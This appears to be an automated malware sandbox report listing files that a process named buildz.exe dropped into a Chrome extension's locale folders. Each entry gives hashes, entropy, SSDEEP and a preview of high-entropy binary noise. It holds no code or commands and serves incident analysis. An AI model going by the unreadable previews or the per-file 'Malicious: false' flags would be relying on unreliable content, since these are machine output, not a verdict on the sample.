Preview:	{.. ...1.....{f. .....,.`..v.:6.E.X...6... ....V/I.+..U...'.S3..A.Db).F.U6%..9 ..R.2.&D..L..7.9t.7;........+....%h..Y.+..Vh.!.._,Q.H.B)].."......X86l.K....3.pX?.....Y.i.2G.vVj.l..&S.R'l...]S .L..4x;..t.!..&..w=rN._:..!....e....M..7..K'.u.]J.....'....}..E..F........}nh..........>.@r...=....e.)......2..`....y2l....\|.`.......;x..@..\....-.l.\.,.....d?]...HxB=a..RO.Y..\|.l_v.iK.....kC7....-x....J...g..E{..4....'.R+..9...G.M_B.`.(.Y^(..\.<.].<.E..}..2......S.;^.y..'.D5;..e..?..(...N....@...........;...}..,..U..].+.....P5.Y......$F..l.ub.8..HzI.#...J.J...)k.......3\|f......}.v.C.R..bV.R.....eOG.....1......1w..G..I.$..$X..!m+.;..a...0......$_..A.5/d..D..A......L..G..&.cC2.y.2DL.......f...`.A9..C..p.O/...h..zc4.\|J.....+.....A4...p+W<.z............%.6..za..Q...`.....kd..C`.7$je?...H.........RV.....h.....h=...n.........r.&M.e.,*...).!.t..7.....}.h....`?{.Po...Q.y.Lf..\.."b...7/.Z....W....2FU...v....\K.>.Q..l.....D.o<Bm..[P.>.........=A

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fr\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	7.8121718081163785
Encrypted:	false
SSDEEP:	24:1IY5HHEZ09GFYgZ7SBaXFqi4ZowcwVsMG2NVjCkvxKgSh33i9dajbD:JHESEHvXFq9VNTKkZKgYnwdOD
MD5:	C6F98075E3988C25685B3F688C6CAB6D
SHA1:	4ECC5DA28CE38E3A7E96A3CF92EAC48F441AAAEF
SHA-256:	DBF701E46362FA5432152AFCB64BA5315EA39455EBAC9B5BD1C96AD51F296D28
SHA-512:	CB64FFA821EDA19C97C66E49506FD8FF85E50565B8A358DD46D2E5C908E103D7DDD939CB6FEFD429630311335AEE7D5553E0092B8B14E469DBAC5634DDDDF081
Malicious:	false
Reputation:	unknown
Preview:	{.. `.S...H...p...U..j]...JB.,..IL.Y-..O.[..9.c`3Kt#.... .1..5Aj.UQ>>.g....KV.X'.D....Z[=....)...`.......,S:X;.0JB..e....<.....Q ..@..?Iv.z....e.............ME\|E..7.l.....k9..4v..m.rkN.u.r~G>..E.t7..n-..TK9...%a.I.F..`..._.Sb.qg..@.....&pc.....-....mLo0.U..:...MT..K.G..}#R4...!Q./..nK#.+[.......1.\|.M?..J..n.H...y1iB6xV.;.+:E%..g.1.].....S...(ha.......j..\|( H...L.-........{.{L.9...n,...o.0I...x.W.wQ..p.Z..265;.?w......k.f..r...eAF...Q.E...E..2...."-..J.\|.d..>r.FL.f9hZ.lWd~w.c"K...n.Bw..[NW.f.%.....L.M...+.w".....++cY9..].0...8....C,'..../..M#H..t......v..wnh..>...S..9."..TG..FK.^.OupP..OG.....Y......v...p.l.O..1,....v..cv..yLN..~.....3.5.b.;LG...J....@.`.a.e..8`X..V..(l..X..@<...+.;C)..$.O........G..z....PON1I....1f........K.".{)V..UN..j}#.b.&...s..%......&...+.w...g.^O...m..-.z.....m..;..'....p".n..w!......-..F.e.C.......u1..........M..?.n....(y....5"n(.XY..73.[.O.....a.$.cX0.G...ms.cHf...etL"C(A(....p...N...]`.5.........P....Q>{.r..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fr_CA\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1306
Entropy (8bit):	7.848122326352498
Encrypted:	false
SSDEEP:	24:DBvjoVlS/W6sUiD2SowshF3cAe0mN4yT9vbp+PmOREghHj7WbD:DP/bK/hshle0mT4NDoD
MD5:	2DE80216F77783EF98A01AFFF8694D0F
SHA1:	D81BE40CAC7B4EA2588C8C96A9993F0ECDD80730
SHA-256:	333ECF10A1EBF1799E7BA28DC86BA8BFDCBD10C032BEBB4B69F2B38C9BD1759C
SHA-512:	2E38BD26CB5CE55A6F6E9B98F2D1C57B2B6DA94D149E98F8EE16A2D44F3E8548D8131B42209BA9FDE0AD658122700EF66E7BF3CAA6CE439D9D944764D6EC393B
Malicious:	false
Reputation:	unknown
Preview:	{.. ...h.C....\|.......}.^2c..+L..LT....}S..!.........X..g..8..Y.c..r.%f.......`Q..Y@b.......SD.U...h.4..[[.J..A,.l....H...TMj.k72.....Wp._.....xF...........:(y...A.@.1U..w\j..d...L...'k.C..Y...h.....k..{.0#..`.Y.T....T.,...6.T...meP.....tI....E7.a!..........#.SU.g.8@..,.-C........J...jp0..q....;...`.>yy....-ms#.............>...`..1......h`h.........../..E.!-G.SFYZ..i../7.+1.<...X.->......I.S.,.'..kO.~(.)\9.....x.e.g.&.w.Fi\.{....+?]..!..........}\.....^d[.D\...g..O...X....Jrv.%. .....j..3B..@......X.%.m7...........wB.....t[[.O.sL.6......{_bxk...x......kh..uZ.w@.f..6.gv...qo..p.W7,......t.x...k.;[..Wp..2..@...({K_.....I.......}."..q\.\|..+....r0.c;.....el.].azb.[."..Fy5......]jB.%a.<r..\|C.j...7.....t..=.l.....^.-H....sW.e.Q......3..{.W......u..0.%..~..s."4t)..O#.kE.<l]..i.%....1;.PA@...:]....v.....=......WP..t.\h..?.vI.=...tH.nT.j..D.r...@n\|..7...-..~.u..NpA.]J.H..]ci.j).Ba$.{..^}....t.. ...X............F.....z.W..........K...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\gl\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1261
Entropy (8bit):	7.854242861424546
Encrypted:	false
SSDEEP:	24:YHHOzB/dewacM+1ZeaaH+UZFvoikz2K8cn1q03QmfG6F4kbD:YOzBFhaMZeZXdotz2Cn1q76auD
MD5:	FAC0D98337F572F36C0105323C436DF6
SHA1:	BEBD9821712B5836EBB8BB5A90F6BA0909CC192E
SHA-256:	C9E21C067075CE9DF253DA9FC8F5EB9CB1DA44E053140AF3F7071590D87150F3
SHA-512:	15CD627BABD620B18915AC66082AACBF4D9DA09B299697EDCD202F64CF97D4C52DC4F2E68C12895D743152DBB375D8EEABE09AE5DCE578E0941ECF6D08D602F8
Malicious:	false
Reputation:	unknown
Preview:	{"cre...h4@..,...mi.c...fF.{bZv......'S....j....\|r."9..^.{..7(..1.......m ....r....<............;X.s#.&<....2...8...x.B.K.2..;\n8....CZV.t...)RR.C....P.u.....9.+.....;7!.....g0m9O>.Cx(wu\....&.1...T.3...y..#l...l1d...:.2.Pi.!..Y.K...........f...........0.E.Pn...-.Q.....qe.oa.~L.U.Ez9/...<$.%/...Q..b+.&s.Z..)to...~(..4Db.....1.o........H...4Z......s...+<...th.@...h..'..._2...Y...pG....-..Y.;_.(..V.s.#u...n.@..uw........r....GS1&..]P..0.CX....)....E..\|..QaE.Q..i....e../....)...(.....i..y.mj....ls...&..J.....p.....,.t...e..Lg.}..n4.~.c;.....&C....\f..n.y....?.8..q.#.b..g.O.....kW+T&1.3.-Lw.u.s.......a..._.Su.-S..../...b..l..x;~_..e.y...V. ....4.NyD.o'.....>.~Ba>..,...~.1b.h...e.;.....>.!\9.v.&....!.y.9(...+`...#...Z.....[.....+....M~..y.....wU..S....n.Z.o........ f...LmOAV.9.........;.......4.kGx8<\...T.....X.?... .1.fb.....d....ea......e........=..r.IUV.!.>.p.r.^.._....{.t...+D..g.(...l......S..o.p*.P.+.......!d..e<.,....@...G....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\gu\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	GeoSwath RDF
Category:	dropped
Size (bytes):	1992
Entropy (8bit):	7.907818130562517
Encrypted:	false
SSDEEP:	48:q+Wxe+NuSkMEIilBMKcrhRJ1sWpG/eXF+Dv+MhD:HRczJ1sW0wF+Dv+MJ
MD5:	97C9AC02D4C4EE79DC55DC5367361D98
SHA1:	E14082B7846487B769C45CF2E5FE913DAE6226D0
SHA-256:	A43B7CF6EF5B79D57CB0ABC8EE45F6DACC045D640602D2D2361BC5D8B8113F5F
SHA-512:	CA09094CCE8C0DD2CBBC2E5E95CFF0CAAE5CE6627B646BF113F200C45B91EB0727801C9B387CCFCF20C70C2DFD7BA5B74204339623A596ED099301AB3EF19B36
Malicious:	false
Reputation:	unknown
Preview:	{.. ...R.i..De..%.lE.....B..Pu..F..t..'..B}.1...3..!..9.[.v.v..{r.......TiVP....]L!....>..'.....S[.w_..g.Q...y.....C?\|..xR.I.....Z.q.&L.q...:.].'.....B.`..?h........Wg.)............Fn.Rz'O.vX....w..l..V..\|1v....{..G.r./g.....Q`.5o...8..N......nd...bO.Ir.~`.0...}.4o4..Jk.!.x. am.d.]M-..Nt.w.Is.m.a\..Q............[c.8Z....G...VA..Z.!X,........;..v.4.r..8.~7..o]."y.4..M#.2...U.....h........oK../..A<h...[.I.6........AN.....'."...{..a..(\|.Q.D..Ovd..j....R...I......".Kbz...MU..s..E.w]C1#.5..E.o2...s.a?<,<#...n1pN.zkcc./a.....y....oV..?.y.O..{..m.<......_.[.).q.#Y.S.(&..4.b.o8...x...s.V....pV.N....=~../.d_.[.F......N...=....:...%.3...?'..ma...)&....1[.H..-..u{.cH.L..w..~[;.j.y.n.B....}...O...Y.z.f...X..zbJ.f......E.Q..RQ..O.M\8`.>.q...t..n..f.At..B..O\....?j...".O.a.WI._.(...H.y>..yC.J.}...O....3.`.S>.D2.V..lY.v.....p.....6...b...hD.I.T..."R.l.1ukw..OI..S.F.'..Q...>.4......l...d,I[x..D.C....OP.....0..S\.ds.?-.0vh...../{G.P.....v..\.%.;9

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\hi\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2006
Entropy (8bit):	7.898360414115944
Encrypted:	false
SSDEEP:	48:XWyrmbD6vzDwd4xGLM2oKCe5ZIpNmjGsuPvyWdH2SbHuZfvECnACw1D:R2D6v3wdWGFASCsoyaWpvECwN
MD5:	3CDE6ECFB46815C680812D354764687C
SHA1:	DA9FBF7F96186D9E7DBBDC52499B86C20E1F4F49
SHA-256:	B52307574FB46FD1509BBC4B54A8E831723220D934F94B61A494B6E71967BDE7
SHA-512:	527F6D2D63091E326298F06915DC88E4E0E966E5E13CE839C7D701D9B8659D4D06E9DA9FC8904131C596A06E8016561E70E66764AE7C247BA432803B86CF8BCD
Malicious:	false
Reputation:	unknown
Preview:	{.. ..M.A.:9^<.h....T3.G.8w...B.7.#.!v...y.FY..A.e...%w.:s...).N....o..~4.'F.>.q..T..x;.@.....I.@..W.67.....'.<.c.rL.../.rU.....e.\|.RU..W.[..5mS..W.......q.HK.v.\.....);).p.e......a!.i.z.A.b(3kwI.._...<:..:... !v)...n.k.Bo...\}..:.v..&..~.YL...c..%......q...u'1.l.D.sH.0..cgZ.%..1.i.v.\|W....+..[...(i..._...?.>.Ep...G...Z.........nmh>UG8..#T.>.C..#16.~..Q......9....\|j\|h%......X..y.@.M...d.C....b..`;z..^.^..,N..%UF.....1.....r..~.`C..%.,jy..B`h..qG.\k.m/.g.G{....3.z...!M..._?.....s..2.}..!.C...+.v.........rq\|.+.....'4.6_e.w..<...u[...P.W...5.+.]...$e\....?^.jv...`G+I..)nz/...Z.W...t+U..-....c..[.[...`(...@+...8cat....[;..$z ..KF.}h.j...b....<...O9.d......\...w4{BL.'I.!...axJi.....h)`=.l3^....g....@....l.....F.mQ...!.i&....0.....?...U...............tU.z..xy.....m....C>D...Z...u"%NH...._;.A.jXLy.j...(....Y...S7..Ra9..3cE..,.......$.deCk.F.d&...y.%.{...:.e2.X.Rt7...s*LE.....wm...Z....Im.,....>.3....L.p..l..Z..m%.$X..[.ob.5}`.^r.......s.S.\|P.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\hr\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.842532818270278
Encrypted:	false
SSDEEP:	24:bGH6VbOxXFGpRgMO3jXRog5sIg0cgW/Ulq2JZMjKpf/p4o9bD:bFCsRYTR/iQsUM2DfFD
MD5:	2908BF86D7FB91457A37EB4B291E531A
SHA1:	A926EC5D61D26C467BBB168DC13B45A80FD501CD
SHA-256:	20AF8400306C4115427395BA6B566B1284A27992F57F45D962D0CCB93FA97FFE
SHA-512:	2468FB89D16690BAB729CADF542C89942915D14A88C1DD4EFC923B74F897E516F4E5B51064C4DD11D6FC34517229497B54BC94B2F77FD3DB44C0DCAC13707375
Malicious:	false
Reputation:	unknown
Preview:	{.. ..O.&.A~...D/..L....].+./.9P^..4.3..9..O...FB....5...3..0.".,.....\........p..7.N0..#\.F<u..@.:..t..-X...c...>..$.]D....G-.e2..g..5~O.X1..[..8+.kZ...D....z.V.!.[..n..=..{...=..b...2.C....I..uV.T.h.9.W........l.[m..u.7......-q.....-W.Q.>f..... ......r..).V.6....u U..r.B.&..0....I.....#&R...1.D......&-o.e6.....6..7X.......-.CR...<..C........9!...K$x..E.w.YH...k.]0...........@..q.....f.......02.:.-.gJ7..{...u;.o.P..[M.k4Gs.gT..qA.k.W.@a.......tIc...!.-...a.1BBv:.&..R.yQqP,.ss......5sso.......S...\.7f...iKS.:.......`.B....;v.&m.HYX k.9.V#...{...)g.N..An..c...m.,....k.2U.H.{W.H......ZY.....>..v.'.r.......C..g...AN.)..}...jtO......R,p.T.N@.{...3.1.K...n).@\|mM..Z..GQB$....v....$.jZ..]OTc.qj...4..S..2.I.../.8-.._.!...wM.!1....;7L.......C..Ot..~.ZE.S./......^..o..U.`.(jO.....ZXJ9.A{....O3.g...Zg.)../...}.\6'c..%...-.p...O&.......b[n...=.?..........o..f.......5....<)L..L6.l..d.U.h....*1..e.c...1\@UZ(.3.d}5.o..\a]P.../xr..m.1..n.....".....m.. ...p.i

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\hu\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1399
Entropy (8bit):	7.839398141388101
Encrypted:	false
SSDEEP:	24:uFU26qqRe4aMCS8ege1zUzIp6xofVZPka1oRZeH9K7qtKVTenlpeCMy5VP26XFtR:uwTM4zV8/e1zeWpu69K7o0TelF5Vu0OK
MD5:	AA2DCD90C36AB9CD3E0E9346AA0838FB
SHA1:	18730AE94EDFA998BEC7E63AC08C8C685283F466
SHA-256:	D3B2F7D3C0066527993B4D48A872B3372A86AE63FB3038851C204AC19C0514C0
SHA-512:	DD86D3C6BCA67C277D79C9EAF3C0C35A3ECCF816136478CC77BAB9A60A75438BB9079DA7865704B8BED384B9133DFEF83E35236159B5B164581BFCC1378AE787
Malicious:	false
Reputation:	unknown
Preview:	{.. B..X....\y..<.k;....l.D^....J..L.H...0......A.\|..b.p.........e+..F..;j.b..Ks.D.E.....39..Y..m..X.k.(&.tO..:.....d..d...[..9; ...b.Nv....$u....c4..l....3.J..{.."s.p....~;..>.~u..](..`..DH..e.m...]/..0.).!.....P..\|B.En......?..#..w..W/.@1......o..G.]O{m%~.X .."..Ej....@...r-...].1:.5i..I..C.?.o0M.8MLK....Tm0v..\.Tt.=.7.`\|.......jU.$.f+.-..'.".#tw.3S ..$v.TR.q..I.H..\|.S....s..%...\B.;EX..7n..D.=...O>. .\|&.w..zNx.....V{)m.I.>.Z\% .2~......(..1.9._.......%...g1..ZkB.2M..RN....`...k.$.-..p...........E)....Z.W.......jW...G.P...#H.I.d..A........$.w..Jq.i.s...Dp..9...jk3..(.....yO..2..~O6..i?..!.pO...j.....<.z..Lyc.......QL.....uQ....q...C8......p..x.U......X..M.L..O=$..J.+...b....n:.!..-=C.......O$y.6.y..u_.LK.,r..m]....z.....9...W.K.+H..e..,xO....(..v>06.M..j.+.8.D.+M.A.5iw..:...w." .,X....~.@P..0..q.U.....<.?.9.....1.:[....(;....'..j.=_..V.&.:Qy3...`...]..B.g.s..%.?.0n.....i..W.7....j...$..&..{..d@d...0..5.S.Z..\|4d..(..V..(.n.=.&..(.8...x

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\hy\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	3105
Entropy (8bit):	7.92778278780375
Encrypted:	false
SSDEEP:	96:12El2u8/P6GAhCLaxlUSPmCZJ43KMsntvk:1242jOjxaSPmCTSsnm
MD5:	876A0814B92FE0FF9B52EE32F67096E0
SHA1:	D09B10C323D41DFBF818006D02E1724210930E55
SHA-256:	0B1682A6907ACD9787725EDCA5EBAF5B3EE3BE145E86AAAF13E08A11EC02C72D
SHA-512:	F28BAE6040BCB36F756AD9651CF224E383EFC889EF9DA95B077765577C473942F68BC27FE194971F1B3F829185292745F15F9A42537B4A4CFD5B7847A6571D46
Malicious:	false
Reputation:	unknown
Preview:	{"cre(N...N...^~......$U...;...F<..M..F.v.m.c.Y..W....8.J#.sod....i..5..5'..m..Z..4.%.}.l.i..F3S..F.U..1814..f....3T.../G..}xxun..x..c'.u.2R...I}...cKJtH..wC..m.7.C~yT..s<...V...j.H.p..\|......A.Hb...S.,.U.NP.c;..Udq.Pt.e..$n...A.!.8Xs..J~........r.}}...c..\|...oGl~M.0M.jR(...v.'....k<.t.K..^.......R...g..+.)..rZ.wd.W..,...".6..7....=..k..]b...nB../.x....t...J..>......u.Y....}N.d.:..c..%....B.49....1O..RH.kDy.q......\......r.e3...H,..O...F.%...y...Q9~..PS^m....t.z..>.l.zv.V!...3...=WR...y....;3Y{c..b?xZ(%......eW.T...l..s.....-.\yD...\|%T.....b%.,/.4..$_.>....N.\@/^9`/&.MD~...b...n/....>=.3Y.C}.. FMN.D.....'TK...x..=+W..N...\|W.. 8.3&..\|......_.L.P..%.m.C...pH...8......`...h......;..b..e....&..1M+:..../7..O80...<.Z8?5....H.Q.A`r...v..[..2.].m......u.=P.T...w.d..6.....sT..+...mF._.p.......d.....3....(.....f......"d.......H......WR...*!$.3:z........o..x.m.?..%.:T...z...`..H....LK..^..`\|....d.w......CD..&IZ.u.G..Z.V....x0..\!..........AU......6.&

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\id\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1192
Entropy (8bit):	7.821990703141404
Encrypted:	false
SSDEEP:	24:ZzOfNRd3QDq5m2ojcRUBZp479RKfieQ/oG34eGO1H6bwdyPE6aNrbD:AfN73Gs6cR+Zp4fKfiH34eGOZeE4E9D
MD5:	88AEE25C84A517D85654681137AD62F2
SHA1:	500EA1B0B421961351EFE42D98CB7CEC75F77144
SHA-256:	C68624279FEFBE3104ADB5159F160DAF17FCEEEBFD478618AD68C20E1D3CF53E
SHA-512:	A94FED5D6E44430BF190F6CF436E1044CCF322052CC993C9A8C8CC7C3A2BA4F8ADDB15CF318986498BAEB2E323C478525E95B9DEBDAC68DB88D52F931217BE7A
Malicious:	false
Reputation:	unknown
Preview:	{.. ....4...!..h\4.L/...1...(..Sd0....#&.bEP8...4.\W..W.o=......b.'..;.@..z.2..mLI.o....e...[v.t..>MGH..{..tymEe."....O.<a.9...MT....H.\|..:........{..n?.:....I.o9.?D.&.4{=.r...F..M.e..I.z..x..[...=...8......X=..\...8<.H....Ce,..>T%.`.hL..`.]..i.....0,........Ry........T..%=..f3......{a'...&.t.....(...g1.q..F^....N.....k.%.{.1.#.......;_...I.......S..?J.t.g.8:....z..:?&..og:......n..?;.......Z.....UW.M.z..H...D</......iE....-.R0a.N.%H..^..9>/.9Q.v%....pX..T...iA......r@.+.zW..c3.$>.G7...B.#f.J.F.(.p...........S,..A.#~@..gZ..9{..`...G..........<O.{:/..>~x/...........S.......M8.j..8.....$.yH{X....s..8.6.j...M]..C9./..e.j....F."...1.j....^EAD)[...h/T)A.A/..n....@...A.J..7v...Q......U.x..m.._.K&..5h...oq.-..G.Dy... ..q........-..!:.....L..L.Dt.~G+..YRs..B.?.#n.w=.S7.+...(]"j{$_SL..h.........r<...4A..W..C....Zy......T.../7. .s......=.TH..._~.X..023.y.jdr....Sh.G...wmO....x.J+.. 6.......)._XH`...E-)h`.@..P\|../.V...UOU........%0

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\is\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1288
Entropy (8bit):	7.834001748811074
Encrypted:	false
SSDEEP:	24:YiFpEpQaXS4rpG6haslmf7XxZ1l9pJzyT9QYNXsXL2DHERZ4vP9lmXbD:YiFiQ4lG6haslmfr1Pp9uxNXsSrWZYPG
MD5:	42B869E47DD30C6ADB4B168AC0DE86AA
SHA1:	39077203A142938084D13F26DFD587A20BA39050
SHA-256:	2242EF57C2500DFD5716C013377D12D5FAD43BA332A35406F85CD1CCD9400158
SHA-512:	90B7C2C4E32BF3F2BB3535C276FB78BEE7ADC456D1D216A08C1EF4C2BDBF0D447120A40E6CBBC7446CC0398ADBFA75BD6F53FDA4C3E51E6C6244FE6EDE463554
Malicious:	false
Reputation:	unknown
Preview:	{"cre...88......o.`...Dk5..y..o..m,.(N.rdu9C..i..A...a......8.+r........m.......B.@..T..:&.......,.2.J....T...ea......\u.....".....],.9Z.....z.^..Hv.3B:..q.-).<Y.:.dR..LK-2.).!.ze.@....'i.A=...s.?&..'...C.).}5...#V...}..vo.\|L....n....j~...@.+p.3...M'..g...>#...86...O....S.m..M.7-h..6..X...8..)........e.....n..kqN.@kA.M...`.O,.k....'^.7M..)%....f.h...;P...`..'..&^&d.S.k~3..m...U.e..#.9{.A..@.V.w..J3'..f7.'..... .......e1....1...c...r....%..I...._.......d.3k..<~s.`..m[}+.f..0.X88..CN..'....).{.(.....f..... .l.2.6V...y..jK.N.....-..'O..l....;!.....I..da..f...x.....L9.t..QOm......Z..'P.9...#...p3.k.1i6F....L.f."..72...q.0\.[\Q/X...i.....3v..d#e.."..".k-.-Y..dS..`g.S........8...0..CY....f.M...X.&..g...6...>.....s.Qh.MA.;.g~.".ih:>.......3.....3 ?..za....pv\|.[....".G..qn.l....%q..6]L.E.........b..*.<j3^g.F^.UHt^eD.o3....l......-\9..t6E...`q3....].9qP....U.P1.;....q...#.yF.p.[:. ...kG..6....;.7.=^.9......4.u..<...`(.J..X.oSm."P...+.1.A..\|.......

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\it\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	7.847121456395686
Encrypted:	false
SSDEEP:	24:UIT8uy7KcuPXgGWdQGgMBJR1rq+cGHCm/pC/ty06GvRbD:U9/KcuoGeQiZP5pC/tqUD
MD5:	4B04187D8E1367A17856B5CEBC3E40E7
SHA1:	DA3B7F7BC0797B541BC117B89BD9207EBA6B2253
SHA-256:	125416D7FE3E2127C33D895C363E4CBAB4E72D666DC3D33797C04F9A334CD568
SHA-512:	BF522D6E41A9180CC68104687DFA73D1E38EDBF41687638CB5283BDBFA1985E1509C53D906550DFDBE91464499F34ED2300B1CFA642D02DC407827EE343F7916
Malicious:	false
Reputation:	unknown
Preview:	{.. .F..^.y....P.....s..1P.(....!...^#=.........F...ldZ....u.kr.w.{h....!.! ..^^.mqKE.)..4..A..ui.....N.....l......6.^.z.b.pq.j.......(....VE:.f.n..{.j..1...S.8...j.@.]..r,<..I.AK...k.\|...v..W.e.<;.....1\....S.D...q4D.S.L..wb.....w...R..c.J...d}`s`?W.&..rr.gM....6..$..^..aQ..9....q..2.s...5..x...>."N..}~.......X4...VV..y.\|...0d]..z..9....1.e.o.../m......o..zr.#..n@...P.VY.KI..}.....)5.....K{>.ep...1.3\|.)b..\.e...s..K.H......3</..Pa..).....B::<.......o ,.\.~.]>.`...d...R.N..<[\|)'&#..w......_......I...-c5?.d...Yo.P).F/...ih.k.....RA...#...i...).b.'..>.....s....:KZ-5...#%'.IY..51.F[..q.d?ZBs.....0.'m.S<'./...6..[..G.u`ne{.S;.Z.f....!.......`......6.k...pR..+..............0.o...Lv..3..j...(....Y..ONp.V...../.....Yim..}......fQ...ea8UOF.6.0...!..."..p.D_.d.$.u...."%#......Rp....T.....V..q.[.0.k.4.....^FL...uK.,.96....6.c8.~.......L..T.a@..+.{.,...gv.Tb...1..A.].o\|......g..w.6.....r.w.\.2...#D..\....9....fk&..kj..T..........=Ts..z}B.......zy

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\iw\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2564
Entropy (8bit):	7.916536565446376
Encrypted:	false
SSDEEP:	48:YNT7VOiTlQ59wdLvHQISU7wTDz/OaMWm8SGLmkbPfxbvJxO6mIA9YRMd1A2wduD:yVOOxdLvwISbD6Wm8xmitxODNYRaDwY
MD5:	A373BB75696C95FBE61FE83F9FA88677
SHA1:	39E2D85B7C4D80348E8C63A9E18FCCD4D84730FA
SHA-256:	5A59AC2DB7A4D51A7E35AA1D6ED833F455F01028613793C1ADE8AC629993239A
SHA-512:	ADB4F693282D30D9D8242D92C8B78D0E08131880CFFD9B2AA31CF45D17E24F013684F31BEC28B9FC69974B37FBCE7F96F6B9CEDB4D794582DE2F0FC0A08FE4A6
Malicious:	false
Reputation:	unknown
Preview:	{"cre..p.D.....$K.~.:qE.!.c.TW.....g.....\,..&..p..),TY...o.km.A....c:z.....K...[...J.i.%...D...Wp......."..p.....)ngT.^.Q..FN...i...(.........OO.....c..s.<..$.....:.qD..t....L.w..}.qT,.9......K.R..-......C..gJ#.=:.+* ...A.Q....x\vp.Jv}Mz....'.;:7....5Q.Y..WK!.X.} M......C.......?..?........'I....N.Kz..%....CS.~..\|..#7......>e#: ...D..N^.GMGcK..~..... S.^..yV.L..b..i^....h2..Ajo[.R.........B.@.b.a..M.n/.W../..G...H....{>.L...A...S.1S.F..s..l.T.&..>..]"0......H.6.q..'.6iyD..N..P..lP.4>.T...wv!x...vxIk+;...SX<R...M...i.(...8.q.FuM-t.....z.....r..a\|b.w..:u.S.L.n..F.')...G.L.~.l.}3...$.].Y2l...'./oH.5a;.E.?s.x.8..n..%..."..}s.<.>.2.U..... Td...)..".W....g.^....v.y.....P.%...{wNVN..S...M(G.......].n.D.......B.Q....G...0o."...H.ft(g...}.....8?.V(-W.......7.w...m..tk..k.UC+xE......X...y..$c.....i...+..<.d.E..\|...\n...y..Z.G....;..[!....Ha.8....H.iqdU......1(\|"1.*M...G.F....G....(7..MYz.Ef...wo.U.C..ak\.......ip.d.p\._.F.%..\|..s..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ja\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1494
Entropy (8bit):	7.8619261822330975
Encrypted:	false
SSDEEP:	24:lejL9ug5FqY+nuq5rtG8UC08gUwmbQbHZp+6kGAFS9ErGuDE1zMXAbD:lgLxzq5XqPFmbQTZsdXjYMXaD
MD5:	D5A099513B909271B2B867CE256E7EBC
SHA1:	07B4F888325F7D0B2AEF1989B3D916B3018D6D6F
SHA-256:	E3C1D1AADBBF469E594430DCAFAB8E25563C26F9DAA01F3D11C4C6E4A0E3F39B
SHA-512:	1AF859B0CE8C8923A209EA0D179972AF739C2337ADB602C25ACAA1C1631F8640C23F80636342175EBD6C0800E5BD4C5C69F73056304066B63B4186F7A3704F3D
Malicious:	false
Reputation:	unknown
Preview:	{.. .z\|.v..B5..Qd.al.;..Z.P......y.o..F...Q...s.6..6.c...1...qv[.{..i&_.2....6..Ou.8.J..!{.j..fz.e..>f.*....K...Z..._.3...F(.:...C.......&..$..v<l.Q.`.<...).....b. ...J...cJ..[..y~..YD}._..3n.&1u..Qg...I).,......;.N....R<:..9.v..-j...m.V.S+.{.......{.... ...._.-....C.XJB......YY..X`c.-.w..C.T..?u.....?..Hb..^...>..+.E(.h...H.v.T.f...j."X....r..\|.)..Uq/..v..z..F..Z. .iB..1./L.....o.XuDl..I.%.Y..q.%\|....y..?...5.....B.Z..#..........b<.$`.F.C.{......m3.6........ .d+...{P...d.)......._.7......-M..{...r.....>...e.s.4P.F...<D...M..%%q5.t.?....q.lz..._...T=.x.,...h..rF...x..X^....3K..{..L.....P..W}...Y1%.....sb...u...U/s....7..\|.-...eQ....`.>........H.y.s....".3.4e[y?9..c..;.......t..l.2.E.....v... 